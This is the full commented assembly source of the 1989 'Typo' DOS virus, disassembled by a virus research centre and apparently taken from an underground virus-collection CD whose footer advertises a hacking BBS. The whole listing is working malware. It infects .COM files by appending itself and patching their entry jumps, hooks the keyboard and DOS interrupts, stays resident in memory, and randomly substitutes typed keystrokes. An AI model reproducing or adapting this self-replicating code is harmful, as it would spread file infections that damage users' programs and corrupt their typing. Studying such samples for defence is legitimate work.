Underground/Underground CD1.iso/virii/zrodla/t/typo.asm

Assembly Source File | 1998-01-14 | 12.2 KB | 434 lines

    page    65,132
    title    The 'Typo' Virus
; ╔══════════════════════════════════════════════════════════════════════════╗
; ║                 British Computer Virus Research Centre                   ║
; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
; ║  Telephone:     Domestic   0273-26105,   International  [phone]    ║
; ║                                                                          ║
; ║                           The 'Typo' Virus                               ║
; ║                Disassembled by Joe Hirst,      October 1989              ║
; ║                                                                          ║
; ║                      Copyright (c) Joe Hirst 1989.                       ║
; ║                                                                          ║
; ║      This listing is only to be made available to virus researchers      ║
; ║                or software writers on a need-to-know basis.              ║
; ╚══════════════════════════════════════════════════════════════════════════╝

VECTOR    SEGMENT AT 0

    ; Interrupt vectors

    ORG    58H
BW0058    DW    ?            ; Interrupt 16H offset
BW005A    DW    ?            ; Interrupt 16H segment
    ORG    80H
BW0080    DW    ?            ; Interrupt 20H offset
BW0082    DW    ?            ; Interrupt 20H segment
BW0084    DW    ?            ; Interrupt 21H offset
BW0086    DW    ?            ; Interrupt 21H segment

VECTOR    ENDS

RAM    SEGMENT AT 400H

    ; System data

    ORG    6CH
BW046C    DW    ?            ; System clock

RAM    ENDS

HOST    SEGMENT AT 0

    ORG    2CH
DW002C    DW    ?
    ORG    0D0H
DW00D0    EQU    THIS WORD
DB00D0    DB    ?
    ORG    100H
DB0100    DB    ?
DW0101    DW    ?

HOST    ENDS

CODE    SEGMENT BYTE PUBLIC 'CODE'

    ASSUME    CS:CODE,DS:HOST

    DB    'V1'            ; Signature
    DB    0E9H, 1, 0        ; Jump for start of host
    DB    '*.COM', 0        ; File spec for infection
    DB    0CEH, 0CDH, 20H        ; File start read buffer
    DB    'V1'            ; Signature test read buffer
    DW    5            ; File handle
    DB    0CDH, 20H, 90H        ; Start of host
    DB    0
    DW    5AH            ; Generation count
    DB    0

    ; Entry point

START:    PUSH    BX
    PUSH    CX
    PUSH    DX
    PUSH    DS
    PUSH    ES
    PUSH    SI
    PUSH    CS
    POP    DS
    CALL    BP0024            ; \ Get current address
BP0024:    POP    SI            ; /
    SUB    SI,24H            ; Relocate from start of virus
    DEC    WORD PTR [SI+16H]    ; Subtract from generation count
    CMP    WORD PTR [SI+16H],3    ; Is generation count three?
    JNE    BP0036            ; Branch if not
    MOV    WORD PTR [SI+16H],005BH    ; Reset generation count to 91
BP0036:    CALL    BP02BE            ; Test system for infection
    MOV    DX,00D0H        ; Temp default DTA
    MOV    AH,1AH            ; Set DTA function
    INT    21H            ; DOS service
    MOV    AL,[SI+0BH]        ; \ Save start of host (1)
    MOV    [SI+12H],AL        ; /
    MOV    AX,[SI+0CH]        ; \ Save start of host (2)
    MOV    [SI+13H],AX        ; /
    MOV    AH,2AH            ; Get date function
    INT    21H            ; DOS service
    TEST    DL,1            ; First of month?
    JNZ    BP0074            ; Branch if not
    MOV    DX,SI            ; \ Address '*.COM'
    ADD    DX,5            ; /
    nop
    XOR    CX,CX            ; No attributes
    MOV    AH,4EH            ; Find first file function
    INT    21H            ; DOS service
    JB    BP0074            ; Branch if not found
BP0063:    CALL    BP0092            ; Test for infection
    MOV    DX,SI            ; \ Address '*.COM'
    ADD    DX,5            ; /
    nop
    XOR    CX,CX            ; No attributes
    MOV    AH,4FH            ; Find next file function
    INT    21H            ; DOS service
    JNB    BP0063            ; Branch if found
BP0074:    MOV    AL,[SI+12H]        ; \ Restore start of host (1)
    MOV    DB0100,AL        ; /
    MOV    AX,[SI+13H]        ; \ Restore start of host (2)
    MOV    DW0101,AX        ; /
    MOV    DX,0080H        ; Original default DTA
    MOV    AH,1AH            ; Set DTA function
    INT    21H            ; DOS service
    POP    SI
    POP    ES
    POP    DS
    POP    DX
    POP    CX
    POP    BX
    MOV    AX,0100H        ; \ Branch to start of host
    JMP    AX            ; /

    ; Test for infection in COM file

BP0092:    MOV    AX,4301H        ; Set file attributes function
    MOV    DX,OFFSET DB00D0+1EH    ; Address file path in DTA
    XOR    CX,CX            ; No attributes
    INT    21H            ; DOS service
    MOV    AX,3D02H        ; Open handle (R/W) function
    MOV    DX,OFFSET DB00D0+1EH    ; Address file path in DTA
    INT    21H            ; DOS service
    JNB    BP00A9            ; Branch if no error
    JMP    BP015D            ; Return

BP00A9:    MOV    [SI+10H],AX        ; Save file handle
    MOV    BX,AX            ; Move file handle
    MOV    AH,3FH            ; Read handle function
    MOV    CX,3            ; Length to read
    MOV    DX,SI            ; \ Address start-of-host store
    ADD    DX,000BH        ; /
    nop
    INT    21H            ; DOS service
    CMP    BYTE PTR [SI+0BH],0E9H    ; Is it a jump?
    JNE    BP00F1            ; Branch if not
    MOV    DX,[SI+0CH]        ; \
    SUB    DX,16H            ; /
    XOR    CX,CX            ; No high offset
    MOV    AX,4200H        ; Move file pointer function
    MOV    BX,[SI+10H]        ; Get file handle
    INT    21H            ; DOS service
    MOV    BX,AX            ; Move actual offset (? not used)
    MOV    AH,3FH            ; Read handle function
    MOV    CX,2            ; Length to read
    MOV    DX,SI            ; \ Address signature test buffer
    ADD    DX,000EH        ; /
    nop
    MOV    BX,[SI+10H]        ; Get file handle
    INT    21H            ; DOS service
    JB    BP014A            ; Branch if error
    CMP    AX,0            ; Did we read anything?
    JE    BP00F1            ; Branch if not
    MOV    AX,[SI+0EH]        ; Get signature test
    CMP    AX,[SI]            ; Is it signature?
    JE    BP014A            ; Branch if yes
BP00F1:    XOR    CX,CX            ; \ No offset
    XOR    DX,DX            ; /
    MOV    AX,4202H        ; Move file pointer function (EOF)
    MOV    BX,[SI+10H]        ; Get file handle
    INT    21H            ; DOS service
    JB    BP014A            ; Branch if error
    SUB    AX,3            ; Convert length to jump offset
    MOV    [SI+3],AX        ; Store in jump
    MOV    BX,[SI+10H]        ; Get file handle
    MOV    AH,40H            ; Write handle function
    MOV    CX,OFFSET ENDADR    ; Length of virus
    NOP
    MOV    DX,SI            ; \ Address start of virus
    ADD    DX,0            ; /
    nop
    INT    21H            ; DOS service
    JB    BP014A            ; Branch if error
    ADD    WORD PTR [SI+3],19H    ; Add entry point offset to jump offset
    XOR    DX,DX            ; \ No offset
    XOR    CX,CX            ; /
    MOV    AX,4200H        ; Move file pointer function
    MOV    BX,[SI+10H]        ; Get file handle
    INT    21H            ; DOS service
    JB    BP014A            ; Branch if error
    MOV    BX,[SI+10H]        ; Get file handle
    MOV    AH,40H            ; Write handle function
    MOV    CX,3            ; Length of jump
    MOV    DX,SI            ; \ Address initial jump
    ADD    DX,2            ; /
    nop
    INT    21H            ; DOS service
    MOV    AX,5701H        ; Set file date & time function
    MOV    BX,[SI+10H]        ; Get file handle
    MOV    CX,DW00D0+16H        ; Get file time from DTA
    MOV    DX,DW00D0+18H        ; Get file date from DTA
    INT    21H            ; DOS service
BP014A:    MOV    BX,[SI+10H]        ; Get file handle
    MOV    AH,3EH            ; Close handle function
    INT    21H            ; DOS service
    MOV    AX,4301H        ; Set file attributes function
    MOV    DX,OFFSET DB00D0+1EH    ; Address file path in DTA
    MOV    CL,DB00D0+15H        ; Get attributes from DTA
    INT    21H            ; DOS service
BP015D:    RET

    ; Interrupt 16H routine

BP015E:    STI
    CMP    AH,0DDH            ; Infection test function?
    JNE    BP0167            ; Branch if not
    MOV    AL,AH            ; Copy function number
    IRET

BP0167:    CMP    AH,0            ; Get key token?
    JE    BP01D8            ; Branch if yes
    DB    0EAH            ; Far jump
DW016D    DW    0488H            ; Int 16H offset
DW016F    DW    39D8H            ; Int 16H segment

DW0171    DW    0FA76H
DW0173    DW    0F9DCH
DW0175    DW    005AH

DB0177    DB    060H, 031H, 032H, 033H, 034H, 035H, 036H, 037H
    DB    038H, 039H, 030H, 02DH, 03DH, 05CH, 07EH, 021H
    DB    040H, 023H, 024H, 025H, 05EH, 026H, 02AH, 028H
    DB    029H, 05FH, 02BH, 07CH, 071H, 077H, 065H, 072H
    DB    074H, 079H, 075H, 069H, 06FH, 070H, 05BH, 05DH
    DB    05BH, 061H, 073H, 064H, 066H, 067H, 068H, 06AH
    DB    06BH, 06CH, 03BH, 027H, 07AH, 078H, 063H, 076H
    DB    062H, 06EH, 06DH, 02CH, 02EH, 02FH, 051H, 057H
    DB    045H, 052H, 054H, 059H, 055H, 049H, 04FH, 050H
    DB    07BH, 07DH, 041H, 053H, 044H, 046H, 047H, 048H
    DB    04AH, 04BH, 04CH, 03AH, 022H, 03BH, 05AH, 058H
    DB    043H, 056H, 042H, 04EH, 04DH, 03CH, 03EH, 03FH
    DB    02EH

BP01D8:    PUSH    SI
    CALL    BP01DC            ; \ Get current address
BP01DC:    POP    SI            ; /
    PUSHF
    CALL    DWORD PTR CS:[SI-6FH]    ; Execute original BIOS call
    PUSH    BX
    PUSH    ES
    MOV    BX,0040H        ; \ Address system RAM
    MOV    ES,BX            ; /
    ASSUME    ES:RAM
    MOV    BX,BW046C        ; Get system clock, low word
    PUSH    BX
    SUB    BX,CS:[SI-6BH]        ; DW0171
    CMP    BX,2
    POP    BX
    MOV    CS:[SI-6BH],BX
    JG    BP0236
    XCHG    BX,CS:[SI-69H]        ; DW0173
    SUB    BX,CS:[SI-69H]
    NEG    BX
    CMP    BX,CS:[SI-67H]        ; DW0175
    JL    BP0236
    DEC    WORD PTR CS:[SI-67H]
    CMP    WORD PTR CS:[SI-67H],6
    JE    BP021E
    MOV    WORD PTR CS:[SI-67H],005BH
BP021E:    SUB    SI,65H
    PUSH    CX
    MOV    CX,0061H
BP0225:    CMP    AL,CS:[SI]
    JE    BP0231
    INC    SI
    LOOP    BP0225
    POP    CX
    JMP    BP0236

BP0231:    POP    CX
    MOV    AL,CS:[SI+1]
BP0236:    POP    ES
    POP    BX
    POP    SI
    RETF    2

    ; Interrupt 21H routine

    ASSUME    ES:NOTHING
BP023C:    CMP    AH,0            ; Terminate program?
    JE    BP0246            ; Branch if yes
    CMP    AH,4CH            ; Load?
    JNE    BP025F            ; Branch if not
BP0246:    CALL    BP026D            ; Install virus in memory
    MOV    DX,CS:DW002C        ; \ Set ES to environment block
    MOV    ES,DX            ; /
    MOV    BX,0            ; Zero length
    MOV    AH,4AH            ; Set block function
    INT    21H            ; DOS service
    MOV    DX,001DH        ; \ Length to keep
    ADD    DX,1            ; /
    MOV    AH,31H            ; Keep process function
BP025F:    DB    0EAH            ; Far jump
DW0260    DW    2DEAH            ; Int 21H offset
DW0262    DW    4242H            ; Int 21H segment

    ; Interrupt 20H routine

BP0264:    MOV    AX,4C00H        ; Fake a load
    JMP    BP023C            ; Process as a DOS service

DW0269    DW    2C08H            ; Int 20H offset
DW026B    DW    4242H            ; Int 20H segment

    ; Install virus in memory

BP026D:    PUSH    CX
    PUSH    DI
    PUSH    SI
    PUSH    ES
    CALL    BP0274            ; \ Get current address
BP0274:    POP    SI            ; /
    PUSH    SI
    MOV    DI,0100H        ; Address start of area
    MOV    CX,OFFSET BP023C-BP015E    ; Length to copy
BP027C:    MOV    AL,CS:[SI+OFFSET BP015E-BP0274] ; Get a byte
    MOV    CS:[DI],AL        ; Store in new location
    INC    SI            ; Next input position
    INC    DI            ; Next output position
    LOOP    BP027C            ; Repeat to end of area
    POP    SI
    XOR    CX,CX            ; \ Address zero
    MOV    ES,CX            ; /
    ASSUME    ES:VECTOR
    MOV    CX,CS:[SI-14H]        ; \ Restore Int 21H offset
    MOV    BW0084,CX        ; /
    MOV    CX,CS:[SI-12H]        ; \ Restore Int 21H segment
    MOV    BW0086,CX        ; /
    MOV    CX,CS:[SI-0BH]        ; \ Restore Int 20H offset
    MOV    BW0080,CX        ; /
    MOV    CX,CS:[SI-9]        ; \ Restore Int 20H segment
    MOV    BW0082,CX        ; /
    MOV    CX,0100H        ; \ Install moved area as Int 16H
    MOV    BW0058,CX        ; /
    ASSUME    ES:NOTHING
    POP    ES
    POP    SI
    POP    DI
    POP    CX
    RET

    ; Test system for infection

BP02BE:    PUSH    AX
    XOR    AL,AL            ; Clear register
    MOV    AH,0DDH            ; Infection test function
    INT    16H            ; Keyboard I/O
    CMP    AL,AH            ; Are they the same
    JNE    BP02CB            ; Branch if not
    POP    AX
    RET

    ; Install interrupts

BP02CB:    PUSH    BX
    PUSH    SI
    PUSH    ES
    MOV    DX,[SI+16H]        ; Get generation count
    CALL    BP02D4            ; \ Get current address
BP02D4:    POP    SI            ; /
    PUSH    BX
    PUSH    ES
    MOV    BX,0040H        ; \ Address system RAM
    MOV    ES,BX            ; /
    ASSUME    ES:RAM
    MOV    BX,BW046C        ; Get system clock, low word
    MOV    CS:[SI+DW0171-BP02D4],BX ; Get system clock, low word
    MOV    CS:[SI+DW0173-BP02D4],BX ; Get system clock, low word
    ASSUME    ES:NOTHING
    POP    ES
    POP    BX
    MOV    [SI+DW0175-BP02D4],DX    ; Save generation count
    XOR    AX,AX            ; \ Address zero
    MOV    ES,AX            ; /
    ASSUME    ES:VECTOR
    MOV    AX,BW0084        ; \ Save Int 21H offset (DW0260)
    MOV    CS:[SI-74H],AX        ;
    MOV    AX,BW0086        ; \ Save Int 21H segment (DW0262)
    MOV    CS:[SI-72H],AX        ;
    MOV    AX,BW0058        ; \ Save Int 16H offset (DW016D)
    MOV    CS:[SI+0FE99H],AX    ; /
    MOV    AX,BW005A        ; \ Save Int 16H segment (DW016F)
    MOV    CS:[SI+0FE9BH],AX    ; /
    MOV    AX,BW0080        ; \ Save Int 20H offset (DW0269)
    MOV    CS:[SI-6BH],AX        ; /
    MOV    AX,BW0082        ; \ Save Int 20H segment (DW026B)
    MOV    CS:[SI-69H],AX        ; /
    CLI
    PUSH    CS            ; \ Set Int 21H segment
    POP    BW0086            ; /
    MOV    BW0084,SI        ; \ Set Int 21H offset (BP023C)
    SUB    BW0084,0098H        ; /
    PUSH    CS            ; \ Set Int 20H segment
    POP    BW0082            ; /
    MOV    BW0080,SI        ; \ Set Int 20H offset (BP0264)
    SUB    BW0080,70H        ; /
    PUSH    CS            ; \ Set Int 16H segment
    POP    BW005A            ; /
    MOV    BW0058,SI        ; \ Set Int 16H offset (BP015E)
    SUB    BW0058,0176H        ; /
    STI
    ASSUME    ES:NOTHING
    POP    ES
    POP    SI
    POP    BX
    POP    AX
    RET

ENDADR    EQU    $

CODE    ENDS

    END

; ─────────────────────────────────────────────────────────────────────────
; ────────────────────> and Remember Don't Forget to Call <────────────────
; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
; ─────────────────────────────────────────────────────────────────────────